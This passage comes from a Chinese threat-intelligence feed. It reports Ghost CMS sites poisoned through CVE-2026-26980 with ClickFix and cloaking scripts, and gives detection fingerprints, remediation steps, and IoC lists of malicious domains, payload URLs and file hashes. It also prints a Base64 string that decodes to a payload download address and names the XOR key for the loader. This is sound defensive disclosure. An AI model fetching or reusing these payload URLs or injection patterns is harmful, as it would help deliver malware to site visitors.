GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">staticcloudflare[.]pro与script-dev[.]digital这俩个域名使用相同的/api/css.jsURI模式，而且都曾解析到144.31.236.66，可以出俩者属于同一个攻击团伙。</span></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.6027742749054225" data-s="300,640" data-type="png" data-w="793" type="block" data-imgfileid="100001029" src="https://wechat2rss.xlab.app/img-proxy/?k=fc901542&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fa6IDQoib5s8zGyVMpibmQ6icic6NNcBoeVnewrIGADmW8DsbiaujyeeK8QuiaFn3ZmN3YLqFRPBA8SLt09qaC9qur74T0KiaIaxm0nGt6Tp5h7QINA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p data-layout-id="133" style="text-align: left;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">而到了5月16日，我们却发现哈佛国际评论被植入了本次活动的恶意脚本，将其中的Base64字串解码之后正是新的Cloaking脚本地址<a href="https://com-apps[.]cc/11z77u3.php。" target="_blank">https://com-apps[.]cc/11z77u3.php。</a></span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img js_insertlocalimg" data-aistatus="1" data-imgfileid="100001030" data-ratio="0.7648148148148148" data-s="300,640" type="block" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=4b4245ef&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fa6IDQoib5s8xLC2UUn0dRxrNoUAz7ZZ9lPQbVeg0mA24AZC5JEsaO9TxEibVYaBxwLDZgyibiaicGluRPRPmVCD7a3AhVaHu0y0nHQcGjLr8wic5A%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p data-layout-id="135" style="text-align: left;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-weight: bold;">最有意思的是仅仅1天之后</span>，另一个攻击团伙就将上面的代码清除，植入和bitsy.ai一样的恶意脚本，我们不禁感叹哈佛国际评论一个相当严肃的站点居然被俩个攻击团伙如此肆意玩弄。</span></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.6935185185185185" data-s="300,640" data-type="png" data-w="1080" type="block" data-imgfileid="100001031" src="https://wechat2rss.xlab.app/img-proxy/?k=938d3177&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fa6IDQoib5s8xCRcDaU9HVqFAGO750kwKUs6PLhRWjFk4vhwuUMaeBqu9NsQNwwuCja1Vu2DBA2PmpW3yRBCY2TcnFlklLugwANT2uUVnfjyU%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p data-layout-id="137" style="text-align: left;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">这个这个攻击团伙的ClickFix页面上Ctrl+V的代码如下所示，核心部分是$d，可以看出它是一个16进制字串，使用XOR加密，密钥为h2QHiVI。</span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img js_insertlocalimg" data-aistatus="1" data-imgfileid="100001032" data-ratio="0.3907407407407407" data-s="300,640" type="block" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=83cbaf3b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fa6IDQoib5s8ykCyP7wsUQhvM3jPTwYaOIRRiaNW03ymowhYgm9ibQXKSx8e4auE5eQfO99bibfEdU6JuSyy0t0cMM7ppCvMvibWskJJjKsia6rBYg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p data-layout-id="139" style="text-align: left;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">解密后的代码如下所示，它的功能是下载执行下一阶段的载荷，下载地址使用Base64编码 </span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="makefile"><code><span leaf="">aHR0cHM6Ly9jZG51cGRhdGVuZXdzLnRvcC9kbD9maWQ9Mzg=</span></code></pre></p><p data-layout-id="139" style="text-align: left;"><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;data-layout-id&#34;:&#34;139&#34;,&#34;style&#34;:&#34;font-size: 17px;font-weight: 300;color: rgba(0,0,0,0.9);line-height: 2.0;margin-bottom: 24px;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">解码后为<a href="https://cdnupdatenews[.]top/dl?fid=38，" target="_blank">https://cdnupdatenews[.]top/dl?fid=38，</a></span><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">遗憾的是我们并没有捕获这个载荷，无法进入一步分析这个攻击者的终极意图。</span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img js_insertlocalimg" data-aistatus="1" data-imgfileid="100001033" data-ratio="0.20277777777777778" data-s="300,640" type="block" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=00a99f9e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fa6IDQoib5s8zraE23iaicpcx12licRicq0ibBETibibtAmOoAZ9ribSqXzPI0FOfrPSM1b2XRzXYc7qlMicOjWjiayPoE4mq5ibTn0diadImndLLtGiaOnicuU%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p data-layout-id="141" style="text-align: left;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">本文暂时不对这个攻击者进行深入的分析，只提供部分威胁情报，通过/api/css.js这个特定的URI进行溯源的话，在VT能发现将近500个可疑域名，部分和</span><span leaf="">Aeternum恶意软件</span><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">联系在一起。</span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img js_insertlocalimg" data-aistatus="1" data-backh="237" data-backw="578" data-imgfileid="100001034" data-ratio="0.4105691056910569" data-s="300,640" type="block" data-type="png" data-w="984" style="width:100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=563d8454&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fa6IDQoib5s8y3VfzjuHLp03RLtzEvL7SDYKGU3ricU3kB4TZrfsniaNQTcX0HfAiaZxho2us2xN6tOBSD3lITWhpfgFwLSEpTV62iblVV8H1kibicU%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><h1 data-layout-id="143" style="font-size: 20px;font-weight: 400;color: rgb(43, 119, 191);line-height: 1.6em;margin-bottom: 12px;text-align: center;"><span leaf=""><span textstyle="" style="font-weight: bold;">自查与检测方法</span></span></h1><h2 data-layout-id="144"><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-weight: bold;">站点侧（Ghost 运维方）</span></span></h2><ul style="list-style-type: circle;" class="list-paddingleft-1"><li><p data-layout-id="145"><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-weight: bold;">检查文章内容</span>：在数据库或后台搜索是否包含以下任一指纹</span></p></li><ul style="list-style-type: circle;" class="list-paddingleft-1"></ul><ul style="list-style-type: circle;" class="list-paddingleft-1"></ul><ol class="list-paddingleft-1"></ol><ol style="list-style-type: decimal;" class="list-paddingleft-1"><li><p data-layout-id="145"><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">字符串 ghost_once_footer_或 </span><span leaf="">sj.ssc/ipa/</span></p></li><li><p data-layout-id="145"><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">字符串 atob(与 appendChild同时出现在文章正文中</span></p></li><li><p data-layout-id="145"><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">字符串 btoa(a.origin)</span></p></li></ol></ul><ul style="list-style-type: circle;" class="list-paddingleft-1"><li><p data-layout-id="145" style="text-align: left;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-weight: bold;">检查Ghost后台日志</span>：是否存在异常的PUT /ghost/api/admin/posts/:id/请求，特别是来自陌生 IP、UA 异常、短时间内批量修改的请求</span></p></li><li><p data-layout-id="150"><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-weight: bold;">检查Code Injection配置项与主题文件</span>：是否被植入额外的标签</span></p></li><li><p data-layout-id="151"><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-weight: bold;">检查API Key列表</span>：是否存在未知或长期未使用的 Admin API Key</span></p></li><li><p data-layout-id="152"><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-weight: bold;">数据库审计</span>：对posts.html/posts.mobiledoc/posts.lexical字段做一次全量扫描</span></p></li></ul><h2 data-layout-id="153"><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-weight: bold;">用户侧 / 浏览侧</span></span></h2><ul style="list-style-type: circle;" class="list-paddingleft-1"><li><p data-layout-id="154" style="text-align: left;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">是否曾被引导至cloud-verification[.]com，com-apps[.]cc类伪验证页面</span></p></li><li><p data-layout-id="156" style="text-align: left;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">下载记录中是否有jalwat[.]com，taketwolabs[.]com，com-apps[.]cc，cloud-verification[.]com</span></p></li></ul><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><h1 data-layout-id="157" style="font-size: 20px;font-weight: 400;color: rgb(43, 119, 191);line-height: 1.6em;margin-bottom: 12px;text-align: center;"><span leaf=""><span textstyle="" style="font-weight: bold;">处置建议</span></span></h1><p data-layout-id="158" style="text-align: left;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">我们强烈建议Ghost CMS用户执行以下处置操作，如果你对我们的研究感兴趣，或需要帮助，可通过过与我们联系。</span></p><ol style="list-style-type: decimal;" class="list-paddingleft-1"><li><p data-layout-id="159" style="text-align: left;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">紧急升级Ghost CMS 至已修复 CVE-2026-26980 的官方版本</span></p></li><li><p data-layout-id="160" style="text-align: left;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">轮换所有凭证：Admin API Key、Content API Key、管理员密码、Session</span></p></li><li><p data-layout-id="161" style="text-align: left;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">清理植入内容：在数据库层面（而不仅是后台编辑器）批量清除文章中匹配上述指纹的代码段</span></p></li><li><p data-layout-id="162" style="text-align: left;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">审计访问日志：保留至少 30 天的 Admin API 调用日志，配合 IoC 进行回溯排查</span></p></li><li><p data-layout-id="163" style="text-align: left;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">向用户公告：建议所有可能在被污染期间访问过站点的用户进行本地安全检查</span></p></li></ol><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><h1 data-layout-id="164" style="font-size: 20px;font-weight: 400;color: rgb(43, 119, 191);line-height: 1.6em;margin-bottom: 12px;text-align: center;"><span leaf=""><span textstyle="" style="font-weight: bold;">IoC</span></span></h1><h2 data-layout-id="165" style="font-size: 17px;font-weight: 400;color: rgb(43, 119, 191);line-height: 1.6em;margin-bottom: 12px;"><span leaf=""><span textstyle="" style="font-weight: bold;">Threat Actor A</span></span></h2><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="bash"><code><span leaf="">clo4shara[.]xyz</span></code><br/><code><span leaf="">cloud-verification[.]com</span></code><br/><code><span leaf="">jalwat[.]com</span></code><br/><code><span leaf="">com-apps[.]cc</span></code><br/><code><span leaf="">platecrumbs[.]com</span></code><br/><code><span leaf="">web-telegram[.]ug</span></code><br/><code></code><br/><code></code><br/><code><span leaf=""><a href="https://clo4shara[.]xyz/11z77u3.php" target="_blank">https://clo4shara[.]xyz/11z77u3.php</a></span></code><br/><code><span leaf=""><a href="https://com-apps[.]cc/11z77u3.php" target="_blank">https://com-apps[.]cc/11z77u3.php</a></span></code><br/><code><span leaf=""><a href="https://platecrumbs[.]com/11z77u3.php" target="_blank">https://platecrumbs[.]com/11z77u3.php</a></span></code><br/><code><span leaf=""><a href="https://cloud-verification[.]com/update.zip" target="_blank">https://cloud-verification[.]com/update.zip</a></span></code><br/><code><span leaf=""><a href="https://com-apps[.]cc/update.zip" target="_blank">https://com-apps[.]cc/update.zip</a></span></code><br/><code><span leaf=""><a href="https://com-apps[.]cc/NotepadPlusPlus.zip" target="_blank">https://com-apps[.]cc/NotepadPlusPlus.zip</a></span></code><br/><code><span leaf=""><a href="https://jalwat[.]com/static/uploads/campaigns/6/update.zip" target="_blank">https://jalwat[.]com/static/uploads/campaigns/6/update.zip</a></span></code><br/><code><span leaf=""><a href="https://taketwolabs[.]com/wp-content/NotepadPlusPlus.dll" target="_blank">https://taketwolabs[.]com/wp-content/NotepadPlusPlus.dll</a></span></code><br/></pre></p><h2 data-layout-id="167" style="font-size: 17px;font-weight: 400;color: rgb(43, 119, 191);line-height: 1.6em;margin-bottom: 12px;"><span leaf=""><span textstyle="" style="font-weight: bold;">Threat Actor B</span></span></h2><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="css"><code><span leaf="">staticcloudflare<span class="code-snippet__selector-attr">[.]</span>pro</span></code><br/><code><span leaf="">script-dev<span class="code-snippet__selector-attr">[.]</span>buzz</span></code><br/><code><span leaf="">updatesecurity<span class="code-snippet__selector-attr">[.]</span>pro</span></code><br/><code><span leaf="">updatefilescf<span class="code-snippet__selector-attr">[.]</span><span class="code-snippet__attribute">top</span></span></code><br/><code><span leaf="">static-file<span class="code-snippet__selector-attr">[.]</span>digital</span></code><br/><code><span leaf="">download-file<span class="code-snippet__selector-attr">[.]</span>today</span></code><br/><code><span leaf="">updatefile-cf<span class="code-snippet__selector-attr">[.]</span>dgital</span></code><br/><code><span leaf="">script-dev<span class="code-snippet__selector-attr">[.]</span>digital</span></code><br/><code><span leaf="">updatefile-cf<span class="code-snippet__selector-attr">[.]</span><span class="code-snippet__attribute">top</span></span></code><br/><code><span leaf="">script-dev<span class="code-snippet__selector-attr">[.]</span>xyz</span></code><br/><code></code><br/><code></code><br/><code></code><br/><code><span leaf=""><a href="https://staticcloudflare[.]pro/api/css.js" target="_blank">https://staticcloudflare[.]pro/api/css.js</a></span></code><br/><code><span leaf=""><a href="https://script-dev[.]digital/api/css.js" target="_blank">https://script-dev[.]digital/api/css.js</a></span></code><br/><code><span leaf=""><a href="https://cdnupdatenews[.]top/dl?fid=" target="_blank">https://cdnupdatenews[.]top/dl?fid=</a><span class="code-snippet__number">38</span></span></code><br/></pre></p><h2 data-layout-id="169" style="font-size: 17px;font-weight: 400;color: rgb(43, 119, 191);line-height: 1.6em;margin-bottom: 12px;"><span leaf=""><span textstyle="" style="font-weight: bold;">Sample MD5</span></span></h2><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="markdown"><code><span leaf="">5659292833ec421da11ebde005d9c9a8  installer.dll</span></code><br/><code><span leaf="">d30cc10d54ebc967c8538ff74f442eee  <span class="code-snippet__emphasis">*NotepadPlusPlus.dll</span></span></code><br/><code><span leaf="">18a7251ddde77ed24bc54700d84d9be1  *UtilifySetup.exe_</span></code><br/><code><span leaf="">f280e12f51f996dae7fffc64a56ee527  <span class="code-snippet__emphasis">*SuperAppizeSetup.msi</span></span></code><br/><code><span leaf="">fceca579efcef09eb507c6ca977ea281  *css.js<span class="code-snippet__emphasis">_</span></span></code><br/></pre></p><h2 data-layout-id="171" style="font-size: 17px;font-weight: 400;color: rgb(43, 119, 191);line-height: 1.6em;margin-bottom: 12px;"><span leaf=""><span textstyle="" style="font-weight: bold;">Injected code characteristics</span></span></h2><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="bash"><code><span leaf=""><span class="code-snippet__comment">#Threat  Actor1</span></span></code><br/><code></code><br/><code><span leaf=""><span class="code-snippet__string">&#34;ghost_once_footer_&#34;</span></span></code><br/><code></code><br/><code><span leaf=""><span class="code-snippet__comment">#Thread  Actor2</span></span></code><br/><code></code><br/><code><span leaf=""><span class="code-snippet__string">&#34;sj.ssc/ipa/&#34;</span></span></code><br/></pre></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>


<p><a href="https://blog.xlab.qianxin.com/ghost-cms-page-poisoning-cve-2026-26980/">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=7a892d46&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzkxMDYzODQxNA%3D%3D%26mid%3D2247484687%26idx%3D1%26sn%3D17b4de2c86e9e3da424a24d9a17518cc">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 21 May 2026 16:48:00 +0800</pubDate>
    </item>
    <item>
      <title>秘密活动6年的神秘黑客组织Mr_Rot13正在利用cPanel高危漏洞部署后门木马</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzkxMDYzODQxNA==&amp;mid=2247484541&amp;idx=1&amp;sn=cd060e133650e85bb3ec04e3ad4fa731</link>
      <description>背景CVE-2026-41940 是一个影响 cPanel &amp; WHM 的高危未授权认证绕过漏洞。</description>
      <content:encoded><![CDATA[<p>原创 <span>奇安信X实验室</span> <span>2026-05-11 15:42</span> <span style="display: inline-block;">北京</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=1df68cfe&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fa6IDQoib5s8xeQS7KXxlr1VBj2Fia7piaH9Ueicy2VC9RFfmbUg8o3KicQxGC2gCMJoxa8dibL3yCGuSPOuYgJqEu0iaiawtEKtyyVLSaJYnlMp5oPY%2F0%3Fwx_fmt%3Djpeg"/></p>
  <p>背景CVE-2026-41940 是一个影响 cPanel & WHM 的高危未授权认证绕过漏洞。</p>
  <h1 data-pm-slice="0 0 []"><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 24px;font-weight: bold;">背景</span></span></h1><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-weight: bold;">CVE-2026-41940</span> 是一个影响 cPanel &amp; WHM 的高危未授权认证绕过漏洞。该产品广泛应用于 Linux 服务器运维与虚拟主机管理。漏洞 CVSS 评分高达 9.8（Critical），攻击者无需提供账号或密码，即可远程绕过身份认证并接管 cPanel / WHM 控制面板，可使未经过身份验证的远程攻击者获得受影响服务器的管理员权限。</span></p><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, 